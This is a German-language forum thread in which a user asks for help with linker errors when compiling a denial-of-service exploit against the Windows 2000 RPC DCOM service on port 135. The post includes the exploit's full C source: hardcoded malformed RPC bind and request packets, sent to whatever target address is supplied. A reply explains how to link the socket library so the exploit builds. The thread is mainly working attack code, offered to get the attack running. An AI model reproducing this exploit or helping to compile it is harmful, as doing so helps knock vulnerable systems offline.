Exploits

Hi leute ich hab mal wieder Probleme Exploits zu kompilieren. Der Debugger zeigt folgende Fehler an:
Linker-Vorgang läuft...
RPC Windows2k.obj : error LNK2001: Nichtaufgeloestes externes Symbol __imp__recv@16
RPC Windows2k.obj : error LNK2001: Nichtaufgeloestes externes Symbol __imp__send@16
RPC Windows2k.obj : error LNK2001: Nichtaufgeloestes externes Symbol __imp__WSAConnect@28
RPC Windows2k.obj : error LNK2001: Nichtaufgeloestes externes Symbol __imp__socket@12
RPC Windows2k.obj : error LNK2001: Nichtaufgeloestes externes Symbol __imp__inet_addr@4
RPC Windows2k.obj : error LNK2001: Nichtaufgeloestes externes Symbol __imp__htons@4
RPC Windows2k.obj : error LNK2001: Nichtaufgeloestes externes Symbol __imp__WSAGetLastError@0
RPC Windows2k.obj : error LNK2001: Nichtaufgeloestes externes Symbol __imp__WSAStartup@8
Debug/RPC Windows2k.exe : fatal error LNK1120: 8 unaufgeloeste externe Verweise
Fehler beim Ausführen von link.exe.

Damit kann ich nicht viel anfangen. Was mich auch interessiert: wie finden Programmierer die Schwachstellen? Was muss ich dafür können und wo gibt es vielleicht tutorials? Ich hoffe mal einer kann mir helfen. Das Exploit wobei die Fehler kommen ist ein DoS RPC Exploit gegen Win2000 PCs soweit ich weis:

// This is a new unpatched vulnerability - NOT the MS03-026

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};



void main(int argc,char ** argv)
{
WSADATA WSAData;
int i;
SOCKET sock;
SOCKADDR_IN addr_in;

short port=135;
unsigned char buf1[0x1000];
printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
printf("Code by FlashSky,Flashsky xfocus org,benjurry,benjurry xfocus org\n");
printf("Welcome to http://www.xfocus.net\n");
if(argc<2)
{
printf("useage:%s target\n",argv[0]);
exit(1);
}


if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}

i=recv(sock,buf1,1024,MSG_PEEK);
if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
i=recv(sock,buf1,1024,MSG_PEEK);
}
 
mit dieser zeile kannst du die library einbinden
Code:
#pragma comment(lib,"ws2_32.lib")
alternativ kannst du in visual c++ unter
projekt -> einstellungen... -> [registerkarte] linker -> [textfeld] objekt-/bibliothek-module
dort die libray hinzufügen, also einfach hinten mit reinschreiben
 
Zurück
Oben